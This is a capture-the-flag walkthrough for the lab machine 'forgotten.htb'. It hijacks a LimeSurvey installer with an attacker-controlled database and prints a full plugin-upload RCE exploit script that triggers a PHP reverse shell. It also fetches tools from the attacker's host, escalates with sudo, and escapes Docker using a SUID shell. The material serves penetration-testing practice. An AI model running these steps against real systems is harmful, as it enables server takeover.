sudo vim /etc/hosts
# add forgotten.htb
nmap -T4 -p- -A -Pn -v forgotten.htb-
open ports & services:
- 22/tcp - ssh - OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
- 80/tcp - http - Apache httpd 2.4.56
-
the webpage gives a 403 Forbidden error on accessing it - we need to enumerate this further for any secrets
-
web enum:
gobuster dir -u http://forgotten.htb -w /usr/share/wordlists/dirb/common.txt -x txt,php,html,bak,jpg,zip,bac,sh,png,md,jpeg,pl,ps1,aspx,js,json,docx,pdf,cgi,sql,xml,tar,gz,db -t 25 # dir scan with short wordlist and multiple extensions ffuf -c -u 'http://forgotten.htb' -H 'Host: FUZZ.forgotten.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 25 -fw 20 -s # subdomain scan
-
gobusterfinds a directory /survey - this leads to 'http://forgotten.htb/survey/index.php?r=installer/welcome', a page for LimeSurvey installer -
Google shows that LimeSurvey is a free online survey tool
-
as we have the option to start installation for LimeSurvey, we can start this and go through the installer step-by-step:
-
select the option 'Start Installation' and accept the license
-
in the next step, in pre-installation check, we get LimeSurvey version 6.3.7 and PHP version 8.0.30
-
Googling for exploits associated with LimeSurvey 6.3.7 does not give anything, so we need to continue with the installer
-
DB configuration needs the following fields:
- database type - MySQL
- database location - localhost
- database user - we can fill this as 'root'
- database password - we do not know the password so we can try 'root'
- database name - we can give any name like 'limesurvey'
-
in the next step, the installer attempts to create the DB 'limesurvey', but it fails and returns to the DB configuration step due to invalid creds
-
using common creds like 'root:root', 'root:toor', 'root:mysql' do not help
-
-
in the LimeSurvey installation, during the DB configuration step, the DB location allows to enter any IP for the database server; the field takes 'localhost' by default
-
we can attempt to submit our IP such that the installation works on an attacker-controlled DB, and we can complete the installation
-
setup MySQL:
which mysql # mysql is already installed sudo systemctl status mysql # MariaDB service is inactive, disabled sudo systemctl status mariadb # alt command, linked to same mysql service # to make sure the DB is accessible remotely, and not locally # we need to change the binding address sudo vim /etc/mysql/mariadb.conf.d/50-server.cnf # change bind address from 127.0.0.1 to 0.0.0.0 sudo systemctl start mariadb # 'mysql' service can also be started for the same result sudo mysql -u root -p # no password by default # we are able to access MariaDB # create a new DB and a new user create database testdb; create user 'myuser'@'%' identified by 'mypassword'; # the '%' is to indicate that user can connect from any host grant all privileges on testdb.* to 'myuser'@'%'; flush privileges;
-
after setting up the MySQL service on our box, we can resume the installation for LimeSurvey:
-
in the DB configuration step, enter the following values:
- DB location - 10.10.14.9
- DB user - myuser
- DB password - mypassword
- DB name - testdb
-
on clicking next step, this time the installer confirms the DB already exists, as we created it earlier, so the installer can populate the DB now
-
after a few minutes, this step gets completed and the DB is populated
-
in administrator settings, we can modify the admin login details - we can change the creds to 'admin:password' and any email like 'admin@forgotten.htb' and complete the installation
-
-
once the installation is completed, we have admin access on the LimeSurvey instance, and we get access to the admin page at 'http://forgotten.htb/survey/index.php/admin' - we can login with the creds 'admin:password'
-
we have access to the LimeSurvey admin interface - we can check for any clues here
-
the footer discloses the exact version - LimeSurvey Community Edition Version 6.3.7+231127
-
Googling for this version gives results for CVE-2021-44967, an authenticated plugin RCE
-
while the version does not match, we can follow and try this exploit by uploading a malicious plugin:
-
download 'config.xml', 'exploit.py' and 'php-rev.php' from the exploit repo
-
edit the 'config.xml' file to update the version - the exploit file has '5.0' as its version, but this instance is on 6.3.7, so we need to update the version; otherwise the exploit will not work:
vim config.xml
<?xml version="1.0" encoding="UTF-8"?> <config> <metadata> <name>Y1LD1R1M</name> <type>plugin</type> <creationDate>2020-03-20</creationDate> <lastUpdate>2020-03-31</lastUpdate> <author>Y1LD1R1M</author> <authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl> <supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl> <version>6.0</version> <license>GNU General Public License version 2 or later</license> <description> <![CDATA[Author : Y1LD1R1M]]></description> </metadata> <compatibility> <version>3.0</version> <version>4.0</version> <version>5.0</version> <version>6.0</version> </compatibility> <updaters disabled="disabled"></updaters> </config>
-
edit the 'php-rev.php' file and update the values for IP and port:
vim php-rev.php # change the values of IP and port -
create the ZIP file with the same name as the exploit code - and archive these two files:
zip -r Y1LD1R1M.zip config.xml php-rev.php # zip the XML and PHP file unzip -t Y1LD1R1M.zip # test the zip file
-
in admin dashboard, navigate to Configuration > Plugins
-
click on 'Upload & install' option and upload the malicious plugin ZIP file
-
confirm the uploaded plugin by installing it
-
after installing the plugin, find the plugin ID by hovering over the plugin name - the ID is seen in its hyperlink; in this case, we have plugin ID 18
-
to activate the plugin, we need to update the exploit script first - change the lines with the comments as needed:
vim exploit.py
import requests import sys import warnings from bs4 import BeautifulSoup warnings.filterwarnings("ignore", category=UserWarning, module='bs4') print("_______________LimeSurvey RCE_______________") print("") print("") print("Usage: python exploit.py URL username password port") print("Example: python exploit.py http://192.26.26.128 admin password 80") url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] port = sys.argv[4] req = requests.session() print("[+] Retrieving CSRF token...") loginPage = req.get(url+"/index.php/admin/authentication/sa/login") response = loginPage.text s = BeautifulSoup(response, 'html.parser') CSRF_token = s.findAll('input')[0].get("value") print(CSRF_token) print("[+] Sending Login Request...") login_creds = { "user": username, "password": password, "authMethod": "Authdb", "loginlang":"default", "action":"login", "width":"1581", "login_submit": "login", "YII_CSRF_TOKEN": CSRF_token } print("[+]Login Successful") print("") print("[+] Upload Plugin Request...") print("[+] Retrieving CSRF token...") filehandle = open("/home/sv/forgotten/Y1LD1R1M.zip",mode = "rb") # CHANGE THIS login = req.post(url+"/index.php/admin/authentication/sa/login" ,data=login_creds) UploadPage = req.get(url+"/index.php/admin/pluginmanager/sa/index") response = UploadPage.text s = BeautifulSoup(response, 'html.parser') CSRF_token2 = s.findAll('input')[0].get("value") print(CSRF_token2) Upload_creds = { "YII_CSRF_TOKEN":CSRF_token2, "lid":"$lid", "action": "templateupload" } file_upload= req.post(url+"/index.php/admin/pluginmanager?sa=upload",files = {'the_file':filehandle},data=Upload_creds) UploadPage = req.get(url+"/index.php/admin/pluginmanager?sa=uploadConfirm") response = UploadPage.text print("[+] Plugin Uploaded Successfully") print("") print("[+] Install Plugin Request...") print("[+] Retrieving CSRF token...") InstallPage = req.get(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin") response = InstallPage.text s = BeautifulSoup(response, 'html.parser') CSRF_token3 = s.findAll('input')[0].get("value") print(CSRF_token3) Install_creds = { "YII_CSRF_TOKEN":CSRF_token3, "isUpdate": "false" } file_install= req.post(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin",data=Install_creds) print("[+] Plugin Installed Successfully") print("") print("[+] Activate Plugin Request...") print("[+] Retrieving CSRF token...") ActivatePage = req.get(url+"/index.php/admin/pluginmanager?sa=activate") response = ActivatePage.text s = BeautifulSoup(response, 'html.parser') CSRF_token4 = s.findAll('input')[0].get("value") print(CSRF_token4) Activate_creds = { "YII_CSRF_TOKEN":CSRF_token4, "pluginId": "18" # CHANGE THIS } file_activate= req.post(url+"/index.php/admin/pluginmanager?sa=activate",data=Activate_creds) print("[+] Plugin Activated Successfully") print("") print("[+] Reverse Shell Starting, Check Your Connection :)") shell= req.get(url+"/upload/plugins/Y1LD1R1M/php-rev.php") # CHANGE THIS
-
after modifying the exploit, we can run the script for RCE:
nc -nvlp 4444 # setup listener python3 exploit.py http://forgotten.htb/survey admin password 80 -
the exploit is a bit slow, but it works, and we get reverse shell on our listener
-
-
in reverse shell:
id # 'limesvc' user pwd # '/' hostname # randomly generated hostname ls -la / # includes '.dockerenv' - this shows we are in a Docker container ls -la /home # only one user 'limesvc' ls -la /home/limesvc # no user flag here
-
the user flag is not present in the Docker container - this means we need to escape it to get to the actual host:
hostname -i # 172.17.0.2 # this indicates the host could be on 172.17.0.1 or another subnet ls -la /var/www/ # check webroot ls -la /var/www/html ls -la /var/www/html/survey # check for any secrets ls -la /var/www/html/survey/application/config # check config files
-
checking the LimeSurvey config does not give anything as most of it is from the installation we did
-
we can do basic enum using
linpeas- fetch the script from attacker:cd /tmp curl http://10.10.14.9:8000/linpeas.sh -o linpeas.sh chmod +x linpeas.sh ./linpeas.sh -
findings from
linpeas:- Linux version 6.8.0-1033-aws
- sudo version 1.9.5p2
- 'limesvc' is part of 'sudo' group
- env variables show a variable 'LIMESURVEY_PASS'
-
checking the non-default env variable 'LIMESURVEY_PASS', it gives us the password '5W5HN4K4GCXf9E'
-
we can check if this is the password of user 'limesvc' and find the output of
sudo -l- but we need to upgrade our shell first:which python3 # not available which python # python not available which script # script is available /usr/bin/script -qc /bin/bash /dev/null export TERM=xterm # Ctrl+Z to background shell stty raw -echo; fg # press Enter twice stty cols 132 rows 34 sudo -l # the password works here
-
sudo -lshows that we can run all commands as all users, as we are part of the 'sudo' group -
we can use this to escalate to root:
sudo bash # we get root shell ls -la /root # no clues
-
as we are root now, we can attempt to escape the Docker container
-
before that, we can attempt credential re-use via SSH:
# on attacker ssh limesvc@forgotten.htb # using the same password works hostname # 'forgotten' # this confirms we are on the main host ls -la cat user.txt # user flag sudo -l # cannot run sudo here # we can use linpeas for enum again wget http://10.10.14.9:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
-
findings from
linpeas:- Linux version 6.8.0-1033-aws, Ubuntu 22.04.5
- sudo version 1.9.9
- Docker version 27.5.1
- another user 'ubuntu' present on box
/var/backupsincludes a non-default folder 'hygiene'/optincludes multiple pages
-
we cannot read the contents of
/home/ubuntu, and the/var/backups/hygienefolder is empty -
checking the
/optdirectory, it includes a folder for 'limesurvey' too - on a closer look, it seems to be the exact folder as the one in the Docker container -
so,
/opt/limesurveyis mounted on the Docker container at/var/www/html/survey -
as we have root on the Docker container, and access to the host machine as well, we can use this privesc vector to set SUID shell in the Docker container as root, to the shared folder, and access it as the non-privileged user:
# in host, as non-privileged user # copy shell to mounted folder cp /bin/bash /opt/limesurvey/bash # copy in actual host, as the bash binaries might differ
# in Docker container, as root # change ownership and set the SUID bit for the shell in the shared folder chown root:root /var/www/html/survey/bash chmod 4777 /var/www/html/survey/bash
# in host /opt/limesurvey/bash -p # run with privileged flag # this gives us root shell cat /root/root.txt # root flag